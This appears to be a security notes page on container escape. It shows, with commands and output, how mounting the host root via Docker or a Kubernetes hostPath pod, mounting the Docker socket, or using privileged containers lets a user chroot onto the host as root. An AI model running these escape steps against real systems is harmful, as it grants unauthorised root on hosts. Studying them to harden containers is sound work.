HostPath
Abusing HostPath to escape containers.
Mounting Root Volumes Inside Containers
Docker
Run an alpine container with root filesystem mounted under /host
in the container
$ docker run --rm -it -v /:/host alpine:latest /bin/sh
$ / # cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.12.0
PRETTY_NAME="Alpine Linux v3.12"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
Changing my root directory to the /host
directory with chroot
allows us to break out of the container.
/ # ls
bin etc host media opt root sbin sys usr
dev home lib mnt proc run srv tmp var
/ # chroot /host bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@3396f9188944:/#
Show release information has changed to Ubuntu (WSL)
root@3396f9188944:/# cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.1 LTS"
VERSION_ID="20.04"
...<snip>...
Access to drives on the host
$ root@3396f9188944:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sdb 251G 28G 211G 12% /
tools 1.8T 1.7T 131G 93% /init
none 13G 0 13G 0% /dev
tmpfs 13G 0 13G 0% /sys/fs/cgroup
...<snip>...
tmpfs 13G 0 13G 0% /mnt/wsl
C:\ 1.8T 1.7T 131G 93% /mnt/c
D:\ 112G 11G 102G 10% /mnt/d
Kubernetes
apiVersion: v1
kind: Pod
metadata:
name: noderoot
spec:
containers:
- name: noderoot
image: raesene/alpine-containertools
imagePullPolicy: Always
volumeMounts:
- name: root
mountPath: "/host"
volumes:
- name: root
hostPath:
path: "/"
Exec into pod to see mounted host directory just like docker
$ kubectl apply -f noderoot.yaml
pod/noderoot created
$ kubectl exec -it pod/noderoot -- /bin/bash
bash-5.0# chroot /host bash
[root@noderoot /]#
chroot
onto the host
[root@noderoot /]# cat /etc/os-release
NAME=Fedora
VERSION="33.20210104.3.1 (CoreOS)"
ID=fedora
VERSION_ID=33
VERSION_CODENAME=""
PLATFORM_ID="platform:f33"
PRETTY_NAME="Fedora CoreOS 33.20210104.3.1"
...<snip>...
Docker Socket
The docker socker on the host is located at /var/run/docker.sock
. Mounting this inside a container will allow processes running inside the container to interact with the docker daemon, and run additional containers.
$ docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock docker /bin/sh
/ # docker version
Client: Docker Engine - Community
Version: 20.10.2
API version: 1.41
Go version: go1.13.15
Git commit: 2291f61
Built: Mon Dec 28 16:11:26 2020
OS/Arch: linux/amd64
Context: default
Experimental: true
...<snip>...
We can even see our own container running.
/ # docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e52efd14f85c docker "docker-entrypoint.s…" About a minute ago Up About a minute dreamy_poincare
Privileged Containers
Although we have complete access to the hosts filesystem, we still lack some capabilities we'd want to completely bypass all restrictions of the container and get true root
.
Use capsh
to show some capabilities are missing, such as cap_sys_admin
, the biggest bundle of privileges.
root@3396f9188944:/# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Ambient set =
Run the container again, but using privileged flag and see we have cap_sys_admin
and have truely broken out as root
.
$ docker run --rm -it --privileged -v /:/host alpine:latest /bin/sh
/ # chroot /host bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@33507db52673:/# capsh --print
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
...